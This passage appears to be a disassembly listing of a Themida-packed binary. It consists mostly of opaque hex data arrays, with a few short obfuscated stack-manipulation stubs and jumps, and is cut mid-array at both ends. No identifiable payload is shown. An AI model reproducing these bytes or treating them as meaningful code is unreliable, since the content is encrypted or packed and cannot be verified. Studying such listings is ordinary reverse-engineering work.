2C8B54D5h, 4C48124h, 68000000h, 2E1Fh, 81240C89h dd 8BE242Ch, 458F6995h, 8458108h, 699508BEh db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_544543 ; --------------------------------------------------------------------------- db 0DFh dd 18DF5CD8h, 9ED49292h, 18B8D7E1h, 7DB87CD5h, 3060E22h dd 3EE0FFC5h, 0F657E5D3h, 0E92431C5h, 0A3BD4B2h, 8D7AFA5Eh dd 2A1D359Ah, 0FD76DFEAh, 16786C8Ah, 85610106h, 4B1E443Eh dd 0CA1F4EE3h, 8D7BC4F0h, 6A64C2DAh, 542BFFAAh, 8421C763h dd 0CB775731h, 0F807E68Eh, 8749AD42h, 0D60C38A6h, 25100FB8h dd 0D64BE9DEh, 0EB52BE5Eh, 4F300810h, 0F9490855h, 4F52513Fh dd 274A7FCBh, 6A0D77E1h, 0E9472024h, 0EDh dword_5AEB50 dd 0D88C6660h, 840F04A8h, 0DFh, 9BDB58Bh, 0FE830607h, 22850F00h ; DATA XREF: Themida_:0053F008o dd 0C6000000h, 709CD85h, 69684506h, 0FF8E7269h, 7059DB5h dd 38858D06h, 0FF060A70h, 0DD8589D0h, 8B06072Bh, 0E93E80F0h dd 31850Fh, 858D0000h, 60C7C95h, 0BD8BD0FFh, 60728F1h dd 1184C781h, 0B58B0000h, 60709BDh, 8B9F787h, 0F3000000h dd 0BDB58BA4h, 8D060709h, 0AAD5985h, 8BD0FF06h, 70055B5h dd 0FE8306h, 22850Fh, 85C60000h, 60709CDh, 0BEF46854h dd 0B5FFFF4Eh, 607059Dh, 7038858Dh, 0D0FF060Ah, 558589h dd 0F08B0607h, 0FE93E80h, 3A85h, 55B58B00h, 8D060700h dd 0C7C9585h, 8BD0FF06h, 728F1BDh, 84C78106h, 83000011h dd 0B58B08C7h, 6070055h, 8B9F787h, 0F3000000h, 55B58BA4h dd 8D060700h, 0AAD5985h, 61D0FF06h, 91858DC3h, 89060E23h dd 7284985h, 5A8D8D06h, 0F5060E25h, 1AD98D89h, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0FCF4F4C3h, 6830Fh, 0E7810000h, 63613E3Bh, 1D85C7F9h dd 0E0060710h, 6A00006Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C341C352h, 0F5CD99C0h dd 330585C7h, 607h, 890F0000h, 2, 0B5FFF08Bh, 6072639h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4C35040h dd 7019589h, 95FF0607h, 6071859h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 54C35747h, 0D22A40C0h, 881858Bh dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B67F4CEBh, 0E7DC0E11h dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh, 0C2BAA86Fh dd 0FCEB6D19h, 2E8EB5E6h, 8D28BA4Eh, 4AD57650h, 0FCA228D9h dd 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 65284219h dd 220B2451h, 0B0344AFEh, 4EB68EAh, 4D467619h, 0D32E9h dd 278C6800h, 0C4E9060Eh, 68FFF957h, 60E28B2h, 0F957BAE9h dd 2A6568FFh, 0B0E9060Eh, 68FFF957h, 60E2B8Ch, 0F957A6E9h dd 2EE368FFh, 9CE9060Eh, 68FFF957h, 60E3038h, 0F95792E9h dd 312A68FFh, 88E9060Eh, 30FFF957h, 2AD166FFh, 23CA5FFEh dd 1EC55AF5h, 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h dd 780B3DE4h, 790C3CE3h, 0BBA917E4h, 4395CD4Ah, 2CAC7E95h dd 158674FCh, 6049A3F2h, 0BE45EC8Dh, 0B861F78Eh, 0B049F089h dd 761FADC6h, 710AB144h, 0C1548687h, 0C766931Ah, 0D16C9920h dd 0D37A1342h, 5FDF6922h, 0AB95A3ECh, 0A047DC7Bh, 983FD46Dh dd 13B2DF68h, 8B32D36Ch, 912454FDh, 666751EAh, 5C0A9F36h dd 0F24DBEACh, 0C59849A3h, 3830B8DBh, 80AB4A2h, 0F2C547A3h dd 0EBDAD95Ch, 0E1DF398Ch, 0A512DEF7h, 0E9439C9Ch, 0F27920BBh dd 0CB7C23C2h, 62080412h, 5FFA29D2h, 0CA0C1A75h, 1FB6120Bh dd 47D1h, 2050F900h, 5B45DE85h, 8A820A8Fh, 18406F4h, 0DCAF47A3h dd 0D2FEA735h, 0DB821545h, 61FAA142h, 0E1C43177h, 0EF1439Ch dd 38660F00h, 49EA7DAFh, 0C61F09A2h, 1FB5D10Fh, 0CBCDh dd 1E4CF500h, 0B443DC83h, 3602EC85h, 0C269FC2Ch, 0C66D083Bh dd 5A8A0F3Fh, 0E5731ABBh, 8E78093Ch, 34CA5D8Dh, 17BE598Bh dd 89FAE87Eh, 0D449A3F2h, 24101701h, 49A3EE8Ch, 0C459EC1Ch dd 0B35AED1Dh, 0F48A820Ah, 0A2FECC06h, 84B05947h, 0F46553E9h dd 3F439CCDh, 0C088826Ch, 1633B43Dh, 380C8624h, 439BFAC7h dd 0BA42DD0Bh, 3B146E7h, 0E908E80h, 0A18B90A3h, 68FEF67Eh dd 948CCD7Ah, 2FC59841h, 2DC25386h, 0ECC25386h, 0F07EA233h dd 82CF507Fh, 0A000000Ah, 9A41D66Fh, 933ACF6Eh, 8E35CA65h dd 8A31C65Fh, 8E29BE57h, 0ED88BB76h, 0E984B158h, 0E87BAD54h dd 0E97CAC53h, 2B198754h, 4395CBBAh, 2C1CEE05h, 2CD368F9h dd 62D469FCh, 0F48A820Ah, 0D60AD71h, 6F59ECF1h, 0ACF77967h dd 6B1447A2h, 0EA85B13Eh, 2F41A249h, 2834977Ch, 5D5741E2h dd 6ED76A9Ch, 2A217E3Dh, 0AC53F482h, 9C0073E0h, 6710A043h dd 5BF49B3Ah, 66D7C5h, 0DEB1439Ch, 498F99F4h, 1FB6B28Ch dd 0D54Eh, 0FC2CB200h, 83BC269h, 29B84F7Fh, 25BB5CF7h dd 0D3C14F7Ch, 49A3F262h, 4F39DAADh, 0EDD26A36h, 326249A3h dd 3CDD78A5h, 3FCFFDA6h, 0A3EDE051h, 0B7582B49h, 0EF1FC6CDh dd 0ED047563h, 7C4F49A3h, 38B34DBh, 0B158EB1Dh, 0F3E17718h dd 47A2FEB9h, 3EEC8154h, 26CD6895h, 0F880A38Dh, 91C16A00h dd 95C84FF6h, 0A0CC5BFCh, 0DBC55E05h, 33DDE5D3h, 4C144195h dd 9322ED5Eh, 0C465383Dh, 0BF52852Eh, 0DECC7C2Ah, 3D93236Dh dd 2DC8F7B8h, 6EA1A28Ch, 1B3CFDD3h, 97C6F07Fh, 95C16h dd 0AC497A00h, 0A9447017h, 0A43F6D14h, 0A039680Fh, 0A031640Bh dd 9D58700Bh, 9B42D76Ah, 933ACF6Eh, 8A31C661h, 5926BB5Ah dd 0CA8CFDEBh, 0C0D74395h, 68F92CEEh, 69FC2CD3h, 7C2562D4h dd 750EB550h, 0BB5A8A8Bh, 0CA5D8D14h, 0F2DC4935h, 0F02049A3h dd 6212C055h, 0A3F20374h, 917B4E49h, 1EC56090h, 29D06797h dd 0C771BF78h, 0C16A0097h, 70EF893h, 0AEBFCD08h, 4F78FB19h dd 7DEA3751h, 0D431745Ch, 3FE0C2B8h, 796155h, 0AC50000h dd 6F48A82h, 47A2F2C8h, 2DF9A073h, 439CF2C0h, 0BA3C0AEDh dd 1FB5BC1Bh, 5AC1h, 1340E900h, 25C4907Ah, 0EB5507Ch, 20C15487h dd 0F282F036h, 1CA449A3h, 1AA08E24h, 5547A2F4h, 1346ED82h dd 0AA32DB82h, 5A0194C4h, 9C8A20C1h, 419BFA12h, 37E57A4Dh dd 23CA5B8Eh, 6D9FA08Ah, 0FCA533DAh, 0F89138C9h, 6B63EB0Eh dd 0C941E7D5h, 29FC3B94h, 560F394h, 25690000h, 99C7507Ch dd 1DBE57FEh, 0DDC75E8Eh, 1D4C32BAh, 5F4DE384h, 47A2ECADh dd 32FEA578h, 439CECC5h, 89B962F2h, 0C4AE47EEh, 0BC19DF69h dd 0A1FB5C1h, 4BD7DD87h, 3FD87F1Eh, 0C5C421D6h, 0E25ED7ECh dd 0A38D2EB2h, 515AFh, 3927D700h, 439CC8C8h, 8A564013h dd 0EF77CD3Eh, 0C97361F7h, 8447A2F8h, 861E2AB1h, 0F4EBD9D8h dd 0F0DE746Ch, 97D6BA1Ah, 9A469A35h, 6B490502h, 5EFFA03Fh dd 8E860EB7h, 66950AF8h, 0DDB091CAh, 0D4719E47h, 8232E2EAh dd 0C5C62394h, 9E39678Dh, 3D65EF7h, 4DE81819h, 46E111B8h dd 0B1F88B70h, 7F002F47h, 7A9h, 6AFF96C7h, 63F897C3h, 5EF38EBCh dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h dd 0A5D57C11h, 42B07D12h, 95C8E354h, 45172E43h, 0C269FC2Ch dd 3999119h, 0A308A715h, 0C3BE447h, 11B85783h, 9730D778h dd 0EBC18B2Eh, 88720C1Ch, 7C25BB8Eh, 9BC94Ah, 6CDDCB59h dd 0B7439C81h, 0C5DA43E4h, 2C748195h, 0BA68FD9Eh, 3D2BC937h dd 0E1CB5883h, 7D13AEE0h, 790FA2D4h, 9C451A8Bh, 0A8926543h dd 2C58018Fh, 6E5CEA91h, 439C44FDh, 45D47548h, 42DB8215h dd 45A11258h, 33A0439Ch, 55439C55h, 963FD5CDh, 8B24CB6Ah dd 39E999A1h, 9C35DA4Bh, 68522543h, 9B22A022h, 51F8CB41h dd 95021885h, 0D462453Dh, 0ED88BA63h, 0F493BF46h, 2913B44Dh dd 0BDB005D0h, 18D725h, 0A3B0000h, 44F48A82h, 0E8D26D9Bh dd 0A2F6B4A2h, 852CFF47h, 1A04h, 7C257A00h, 0ABCEB849h dd 0A7952B23h, 47A2CF51h, 5A03996Ch, 51EA912Ch, 25FC4E67h dd 269622A2h, 0CFB9375Dh, 31079ECEh, 0FC6F795Ch, 82BE3F6Eh dd 0A0000006h, 9A41D66Fh dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4395C7BAh dd 0A1CEE05h, 0F7E59582h, 49A3F286h, 0B92AFED1h, 449A3F2h dd 0D776A231h, 60F69730h, 0A2F24472h, 953C0F47h, 0B247DE0Eh dd 8F2E5B04h, 97E64FE8h, 0AE873743h, 917FC5AFh, 0CE625710h dd 0A65F204Bh, 0CA60FDB8h, 507B6BDCh, 0F9E3B61Ch, 0C65B4FD6h dd 0E77D75FDh, 4F58A3F9h, 44EBBE1Ah, 4ADD0DB6h, 4C7B0AA3h dd 87710AB1h, 26BB5A86h, 47DDD55Dh, 4844D759h, 992F0214h dd 3A24BDF0h, 0F5E39321h, 10422484h, 0CC12FCCFh, 1042245Fh dd 5E4CFC8Ch, 104223EDh, 207B6538h, 8A05D016h, 57D75310h dd 3B000001h, 16877525h, 6149A3F2h, 0F981A48Eh, 63F20339h dd 3964B7E2h, 0C45F993Ch, 0B3C52ECFh, 0E45A1366h, 9F8D23C4h dd 47A29471h, 3BC2693Ch, 30D76C0Bh, 30BE6500h, 1AC15487h dd 1DC46393h, 597AE384h, 10554D7Bh, 9F8DD3BDh, 0A66257DEh dd 0EB1B0513h, 0E010B74Ch, 8D109E45h, 0ACDBC67Bh, 8EFFED44h dd 0D91C51B2h, 357B6506h, 3B0CA847h, 16BD588Bh, 78299A88h dd 0A174F506h, 6452E612h, 0F50677F3h, 23CA6B3Eh, 65A16FB8h dd 0B19FA9F2h, 0AA51E681h, 0A634DB7Ah, 29AF1D23h, 574199D1h dd 1FB5A934h, 607A031h, 8318EBF5h, 0A43A32BAh, 801F4BF4h dd 18925096h, 6A3DF305h, 5C8C35C3h, 9F8922C9h, 42D76E9Eh dd 25CC6B9Bh, 0FEE80059h, 59E730EEh, 9328BFEFh, 0CADE98A7h dd 462FB6DAh, 0AAADE758h, 5FFE2B7Ah, 0C4971FB8h, 0B5E48D23h dd 46DC751Ch, 0AAACE758h, 755F327Ah, 3897C76Eh, 48C33B63h dd 5FF59632h, 89F283B6h, 0B1DB856Bh, 0DAF3DD87h, 685B0D0Eh dd 0D761F4F8h, 99E3969h, 0E786B25Bh, 39CCFCFDh, 66540492h dd 0F4625AF5h, 0C9700B39h, 3FD5A830h, 625BE051h, 6E582BF4h dd 0ADDDC34Bh, 33E3791Ah, 0D6C05D8Ah, 613BCA90h, 1DB285F2h dd 307Ch, 820AF200h, 1806F48Ah, 6347A2F7h, 0E73CAD9Bh dd 0B487439Ch, 0B9E56C13h, 1708891Eh, 685CE797h, 0E57BE4D2h dd 0FFA8439Ch, 0F38C33D2h, 8C3C0F09h, 69FC2C50h, 9D830BD4h dd 0CC2DD46Fh, 85CAEC2Ah, 8728C953h, 0F32503F1h, 7D5047A2h dd 790C3EE7h, 780B3DE4h, 0BAA028D1h, 0B64CED88h, 0BEA85833h dd 210B53C3h, 5BBD2B19h, 3508419Bh, 9001EF9Fh, 0D43D952Bh dd 0B4870FA2h, 2BBF301Eh, 370A3D95h, 0F6A6344Dh, 952B9708h dd 250FE23Dh, 953B72DFh, 140C943Dh, 0F825CE7Eh, 5A6416Fh dd 853D51Bh, 0AB7E3B94h, 0E8CB3804h, 15F8378Dh, 0CA10C50Bh dd 46CA2BC4h, 0F2000000h, 0ECE35442h, 5B2E378Dh, 820AA571h dd 0F236A795h, 0C08149A3h, 0BA53FA93h, 0C25B8A19h, 4BE1821Bh dd 28C5F29Bh, 0F70AF83Eh, 825547A2h, 0ED9D4DDBh, 9CE78EFFh dd 3206D943h, 439CE7C1h, 544F390Ch, 27h, 0E2A225CAh, 5C8F66EDh dd 0E9B32412h, 2BFE49A3h, 0F57DA08Ah, 237967FDh, 3E47A2C6h dd 12B34E7Dh, 434DD6Bh, 2CBB8771h, 409369FCh, 42FC6FD4h dd 32B9213h, 18490000h, 1541E87Dh, 103EE57Ah, 0A39E075h dd 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah, 0FA8F2254h dd 0EF842353h, 55C6B422h, 0A04395C4h, 0FC2CB789h, 8434C269h dd 0A3F22596h, 349D7049h, 8AFC1A8Ch, 0E7E8D2AFh, 0E18A20B7h dd 272E18B3h, 48DED65Eh, 0A302B05Ah, 2986B47h, 0A28C2759h dd 0D250BD89h, 9A7D439Ch, 0DC8B4A8Ch, 5A511FB5h, 79000000h dd 0CA6ADBC9h, 0E2B5439Ch, 0F7DA8F79h, 0DF7C93Fh, 87752541h dd 49A3F216h, 81A48E61h, 660339F9h, 0D52D4963h, 45EE9E34h dd 4F957F12h, 47A2E9CDh, 800937F8h, 750EB550h, 0F3942DD4h dd 0C913804Ch, 0B040439Ch, 0B909592Dh, 9C86104Ch, 0E4F1F741h dd 0F61FB628h, 0C7h, 69FC2C5Ah, 6D083BC2h, 780F3FC6h, 689A43D1h dd 0A38D26CDh, 3ED372A2h, 0A3EEBA52h, 6E9A4349h, 0A58F28CFh dd 4CE174A4h, 2DC8F59Eh, 203ED86h, 0E38C33D2h, 1DCD635Bh dd 9B04174h, 52408670h, 9D47A2CFh, 0FAE08E02h, 0BBE74999h dd 3BDC751Ch, 0B43C059Ah, 0CD7626BCh, 51E4169Fh, 0E17011AAh dd 0D77017B2h, 9917A7EDh, 8B5E4194h, 88194CF5h, 9A194CF3h dd 79EAD868h, 0C43D9289h, 0D9AF50F1h, 0F07EBDF0h, 0D61A9BCAh dd 0F4000001h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h, 0E68D22BBh dd 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h, 45E010B7h dd 8775E3B0h, 4395C216h, 2C784A61h, 0AD487AF9h, 0A0D0770Ch dd 0AFE7005h, 44F48A82h, 0A3F1E556h, 735D3049h, 0DB38BB6Bh dd 62F5256Eh, 0A5376DF9h, 0C5B0210Fh, 28FB49A3h, 0D476F83Eh dd 0CEA147A2h, 0B3EE5B27h, 8B1B439Ch, 6C13B2E2h, 808EE9D3h dd 0B5FE973Eh, 0B6451Fh, 0BD6D0000h, 9CC05ECFh, 3CAD9B43h dd 87439CC0h, 6F592CB4h, 69FC2CA3h, 6D083BC2h, 5C8F38C6h dd 9F8922C9h, 0A3EDC159h, 86215149h, 8D1A4AF1h, 8821C85Bh dd 0F9740E7h, 0A5938117h, 0E247A2CDh, 0CA710C39h, 8C4D4731h dd 901EC560h, 9CBD31A2h, 8A97C43h, 8109D267h, 6005F389h dd 1B419523h, 0D609B248h, 0CCFFA63Bh, 34646339h, 2F5EF07Fh dd 0E4AEh, 34D10200h, 31CCF89Fh, 2CC7F59Ch, 28C1F097h dd 28B9EC93h, 25E0F893h, 23CA5FF2h, 1BC257F6h, 12B94EE9h dd 0E1AE43E2h, 0C1148573h, 485F4395h, 68F92C76h, 7BFC2CD3h dd 8209B04Fh, 7A13BA53h, 31A338D9h, 0C269FC2Ch, 0D76C0B3Bh dd 0E9E6A629h, 88A1086Ah, 0FBF37B9Eh dword_5AF940 dd 0D8C1E265h, 168B3C85h, 6DF00DADh, 412B9A03h, 0CA414B39h ; DATA XREF: Themida_:0053CD88o ; Themida_:0053F1ECo dd 0A97C4799h, 0AC4B7B02h, 0A5407017h, 92ED70FEh, 0B33F484h dd 2AABF1DBh, 4E0E4DB4h, 30A18F21h, 7BF84D34h, 0D96007A8h dd 0C1680FAAh, 1AE626F0h, 660131DAh, 2917217Ch, 1BC95EF9h dd 340C7D6Bh, 8457F84Dh, 0CE69999Ah, 0BEF09927h, 9383923h dd 16B75682h, 1CB5E86Fh, 27BEEE75h, 3E08D980h, 0F4428BFEh dd 0E67B1A4Ah, 0D1780F3Fh, 0CE679A43h, 3E9E4h, 5E5F0000h dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 17686711h dd 89000037h, 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 2404895Ch, 5E08950h, 4, 8704E883h, 895C2404h, 6851242Ch dd 33BC279Fh, 63F18159h, 5135B202h, 0C9685958h, 8900005Dh dd 4832424h, 505D0424h, 0B3240481h, 8F79914Fh, 0B8500845h dd 0CB758Dh, 0F705E0C1h, 19F235D0h, 0D8F76A9Ah, 7967C005h dd 3FA00539h, 4529CC23h, 2C8B5808h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 5124048Bh, 0C181E189h, 4 dd 4C181h, 0C870000h, 0A8E95C24h, 20FFF94Ah, 0DAA1459h dd 364A9099h, 0B82EC8A7h, 60E3233h, 0E0FFC503h, 46D124D9h dd 34F18EAAh, 145E27D0h, 2B6AF55Ch, 2471AD7h, 64F7134Dh dd 4DFC1D1Dh, 5ACC4838h, 6E512DCCh, 1D210E13h, 0BC46BF9h dd 2171CF4Bh, 7B2E340Eh, 78E9536h, 7B5E5843h, 847404EBh dd 85E93D3Ch, 0F4000005h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h dd 0E68D22BBh, 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h dd 45E010B7h, 8775E3B0h, 4395BF16h, 2C784A61h, 3BC269FCh dd 31D86D08h, 31BF6601h, 0D6C05988h, 6B12A5D5h, 761DB8E4h dd 832ABDEFh, 9037CAFCh, 2FEF39CCh, 0D146D063h, 755FFA28h dd 1CB14474h, 1BB04375h, 8AF4274h, 23B95481h, 7AE477Ah dd 6B846Eh, 8DBF69B7h, 8EBE65FAh, 168450F7h, 0FE49A3F2h dd 0F6A69BA5h, 0A3F29708h, 0F321E249h, 74CDB758h, 19AEC061h dd 0D043E467h, 9C17D03h, 0CA68D3DEh, 1AA94A81h, 726650EDh dd 74h, 69FC2CD6h, 6DFA2AD3h, 64FDA43Fh, 99831CC3h, 0F249B480h dd 0D42D49A3h, 0C051844Ah, 0C77719AEh, 0AE55F01Eh, 0E6D04115h dd 793A49A3h, 4C79ED0Dh, 5C4619A1h, 168h, 7C25CC00h, 0CDCEB849h dd 0C91D3EA1h, 54120A81h, 59850CB3h, 619017BEh, 6E9A21C8h dd 74A128CFh, 761DB8EBh, 25953CDDh, 0C5F25CEAh, 47E88128h dd 0F05EE87Bh, 0ED9429C4h, 23952ABDh, 0C168F92Ch, 0C86F0E3Ah dd 0CF761141h, 0DA811C48h, 58D46233h, 0EE58E69Fh, 0EE952ABBh dd 0E9127BEh, 0A7E37E83h, 3868F71Ch, 735DF69Dh, 0AA5D35Ah dd 54E2C563h, 0AF245392h, 1CC57519h, 14AD54EDh, 0A386CF40h dd 29591A49h, 0AD4EE78Eh, 72CFC3h, 2C330000h, 33C168F9h dd 938933B0h, 13FD2111h, 0A249E412h, 0A84FEE1Bh, 0B35AF521h dd 0FE3E0843h, 3A6FF232h, 7E401CE9h, 95A3FEE8h, 48DD78ABh dd 2CD36EA1h, 34DB76A5h, 6365B396h, 19AFB282h, 7778h, 0DA1DA000h dd 6487C06h, 2C5A2610h, 3AC168F9h, 56C66D08h, 93C56Eh dd 7BD6C059h, 0B55083ADh, 9AC97220h, 56BF58FFh, 6C9108DDh dd 20ECD605h, 0CF65002Ch, 3B799B4Ch, 5C463A08h, 1705B543h dd 49A3BFA6h, 0E25F56F1h, 0BC41520Fh, 7DEB311Bh, 6549A337h dd 0F283B65Fh, 36FD6E5Ch, 754849A3h, 0E0E6308Bh, 19AF7AF5h dd 0BE7h, 715F0F00h, 49A33B00h, 0C28E784Bh, 0BC63FE2Ch dd 0CB720535h, 1F091760h, 0F8C156F1h, 0F4E27870h, 47A3097Ah dd 198F0487h, 727FB6FFh, 7309AA43h, 9BFD1485h, 0A28C5F43h dd 16E0DA8h, 9731610h, 9CE9AA1Bh, 8122F543h, 82B239E0h dd 9E2DC8F5h, 0A036D76Eh, 862DC8F7h, 55FC03EDh, 1FEB9225h dd 439CE9B4h, 0D846D00Bh, 0F4770DA8h, 1B1220A2h, 121903DFh dd 0F59C3B6Bh, 0F98CBE67h, 0CECFB952h, 0AF60079Eh, 4EF728F6h dd 999A8421h, 3A39CE69h, 1FB6199Bh, 0BC55842Dh, 0C0ED7C15h dd 0FBE57E25h, 15207h, 58862F00h, 0A07D3BDh, 36A79582h dd 8149A3F2h, 0F4770DAEh, 1297F0B7h, 47DE0EFBh, 7C6607A0h dd 99D88674h, 0DBA347A2h, 9C897CEDh, 8BF4C743h, 47778D0Fh dd 0A74EEF86h, 51FB9619h, 0CC54426Bh, 16B1E1E2h, 0BAADA81h dd 1AADDD64h, 0B35CC273h, 0A1FCE681h, 0DE79A997h, 698B4A49h dd 63511FB6h, 79000000h, 0EB1AA1D0h, 7112AB52h, 75A231CAh dd 0AE9831D8h, 4D7C25E2h, 0DA6ADECh, 0E1822898h, 94B7A13Ah dd 0D383190Dh, 0B65DF82Ah, 0CCED331Dh, 7749A350h, 0BF6FFDA4h dd 0A35060D1h, 0EED8AB49h, 0A35037A8h, 0BC8A5B49h, 5FF5E970h dd 0A3505071h, 9328FB49h, 0AC0D3CE5h, 8932EED2h, 2A14B581h dd 8E2Fh, 7C25A500h, 0F527B64Fh, 0CD557862h, 0F281F2E0h dd 0F9CC49A3h, 62D4C258h, 0AD47A2EEh, 6C9B44DAh, 47CEE7D1h dd 41EA8017h, 858C7611h, 7017AEDEh, 9CEDECA4h, 0B64F7C43h dd 0C25B880Fh, 2E9F8D1Bh, 79439CEDh, 25F32EA6h, 0E83671E9h dd 0E2770E3Eh, 3999119h, 92DA8D15h, 0DA0DB641h, 90635D47h dd 9E3262E9h, 8EBA3FB0h, 1D8E7C3Dh, 683D8EBAh, 993A0D95h dd 0F03E87F2h, 0EA49C24h, 84A79820h, 2311C13Bh, 378087B2h dd 46402AFDh, 0A6CDE73h, 6F48A82h, 4799DF7Eh, 9809F7A7h dd 24395BFh, 813D9B59h, 4E21A992h, 0F0976A64h, 99E3969h dd 4CBDAB5Bh, 97439507h, 0A9D9DAC4h, 4AF5780Eh, 890F3CD3h dd 0C6546D57h, 2B72816h, 0C9FB4395h, 0B3E5A62Eh, 3FE07920h dd 76380F55h, 780B7EC6h, 0C05080AEh, 624661D2h, 0F6E4AC08h dd 8624685h, 0BB5CFDD0h, 0B84F7F26h, 0A7DA8311h, 0B259F420h dd 6F0F7819h, 53950FC7h, 67969781h, 73BC27CEh, 0BE4B7BA5h dd 0C358F98Ch, 396BEC1Ch, 0BE67FD9Eh, 0B34CF392h, 32FB0C9h dd 0A5000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h dd 506711B8h, 0BB53E089h, 357000A7h, 12B6F381h, 0EBC17CB4h dd 4DC38105h, 8154F916h, 0A3648BE3h, 18E3815Bh, 813A2B4Ah dd 0FCFFFCC3h, 5BD801EDh, 8704E883h, 685C2404h, 167Ah dd 68242C89h, 280Dh, 57240489h, 571EEABFh, 0E3CF8130h dd 81758B02h, 4A7684C7h, 0C1D7F74Ch, 0C78107EFh, 37881636h dd 8FD3EF81h, 5D5731F5h, 48B545Fh, 4C48324h, 86852h, 15A0000h dd 5A2A89C2h, 582434FFh, 4C481h, 34FF0000h, 0C4815D24h dd 4, 0F944D6E9h, 54B357FFh, 81AD442Fh, 9ACCF1EFh, 1B26714Bh dd 0E3818B8h, 0FFC50306h, 230625E0h, 8D65E5Ah, 6FBA292Dh dd 0A3ACB846h, 3C0B6A2Ch, 0AEE6D170h, 9D212D70h, 0ADBA1A74h dd 0FF14530Eh, 4004EB25h, 0E9330668h, 502h, 0DA6F0637h dd 0D3680733h, 0CE63FE2Ch, 0C85DF827h, 0BE53EE21h, 1D500B23h dd 1B48EF84h, 1446ED82h, 1545EC81h, 0B220ED82h, 95BA53C4h dd 0B5879E43h, 0C269FC2Ch, 0D86D083Bh, 0D0660131h, 0CF16A4Dh dd 5A8C70D2h, 233C26C7h, 32D96C9Ch, 4AE07FABh, 83BAC9Ah dd 0B38649A3h, 59ECB0C9h, 0A13161CFh, 0A30842B3h, 0D7C58D49h dd 49A30866h, 9C3DDEB1h, 0F7685606h, 4249A307h, 81B8C7Ah dd 936649A3h, 5A0108F2h, 74F78D28h, 0BBDE2A6Eh dd 2754E3E4h, 0F69DA48Eh, 38A31C4h, 801B49D6h, 0F89F40D9h dd 4CFA448Dh, 4BF2871Ah, 9D57C1Bh, 49A39A9Bh, 0DA1C2A83h dd 19AF17FBh, 8CE1h, 0FC2C4500h, 8BF6C269h, 0CB49A3F2h dd 0D259009Fh, 0F15C03A2h, 0B39E9EA8h, 3FD204ADh, 49E41198h dd 7E6809A2h, 2D31523h, 0D819AEC0h, 1, 65002C3Ch, 6C0B37BEh dd 6AFD2DD6h, 8DBC0D01h, 412BA303h, 0F72A128h, 8392AAECh dd 987DE363h, 7E3BA811h, 0F39C32D3h, 0F98027C6h, 0A79132CDh dd 40D7078Eh, 55E21299h, 50E99023h, 906108AFh, 7ABA8686h dd 6108A3D1h, 0B74E5D3h, 0ECBF49A3h, 3806614Bh, 0AE43E20Eh dd 0AB40D707h, 68F92C39h, 810E3AC1h, 7710B752h, 0C57E2FD6h dd 2816C67Bh, 49A3F2B7h, 44452F02h, 44EB8011h, 68EB8114h dd 0E89079B8h, 9DC958BFh, 0D8C25B02h, 6F0A38BFh, 0F19A2AC8h dd 0E13C26C1h, 0B39E257h, 4630C970h, 0AF72F8EDh, 58E219h dd 2C460000h, 3AC168F9h, 6CA710Ch, 487BA573h, 0BA6A18ADh dd 0A3F25BCCh, 0E9D3A649h, 751CB5E8h, 9026BFEEh, 0F281F2E0h dd 0F9CC49A3h, 7558F60Fh, 0BDC025ABh, 521A19AEh, 42000000h dd 0E8D26D99h, 68F92C1Ch, 7AB033C1h, 0EBAAE2FFh, 0D90B0CF6h dd 0EC27973Eh, 30C1F422h, 2C299Bh, 274CCF65h, 29BAC795h dd 45112A14h, 49A357D7h, 67D866BFh, 0CB67FBE4h, 0AB959739h dd 0AFAE8352h, 0B5919h, 0D8810000h, 59F423ACh, 8E7811B8h dd 19A225C2h, 13593D51h, 68969781h, 6F9F26CDh, 0EA84F5E3h dd 0FCCF49A3h, 5349B45Bh, 0EA44B5A3h, 0BC8F49A3h, 7FA977D2h dd 5821B651h, 20BDEAD0h, 0A93FE079h, 0A30141BBh, 0E2895C47h dd 0F68C2B5Bh, 214F3573h, 67519AC1h, 0EE89B960h, 0EA107B47h dd 2C67439Ch, 710434E2h, 720535DCh, 811444CBh, 0A93768EBh dd 7FF5970Fh, 12CB7C95h, 4BEA1A04h, 0F1EB7B6h, 0FFA81FB6h dd 2C8D34D3h, 6DCDEA6Dh, 4A34D563h, 13B56h, 820ABA00h dd 184BF48Ah, 224FD67Dh, 0F0F8E283h, 4E4FBD40h, 0E86CBECFh dd 220AB8FEh, 1EC747A2h, 756F59ECh, 4A929EDAh, 0EB7AEE16h dd 0E07920BFh, 0E111983Fh, 8003B146h, 965D3DFDh, 42710068h dd 7D6700A7h, 23B94C7Ch, 55148573h, 8C5F439Ch, 52FB89A2h dd 9FA08A23h, 8031D86Fh, 1FC879C7h, 6B6C56F1h, 0E481AE3Bh dd 6E03A43Dh, 0B65D666Fh, 3C741Fh, 0AD80000h, 0BF98F83h dd 49A3F2EAh, 17AEDE87h, 0B960332Dh, 0A3F27CEDh, 41CFA049h dd 0A43A2EB5h, 39971121h, 7B655D2Dh, 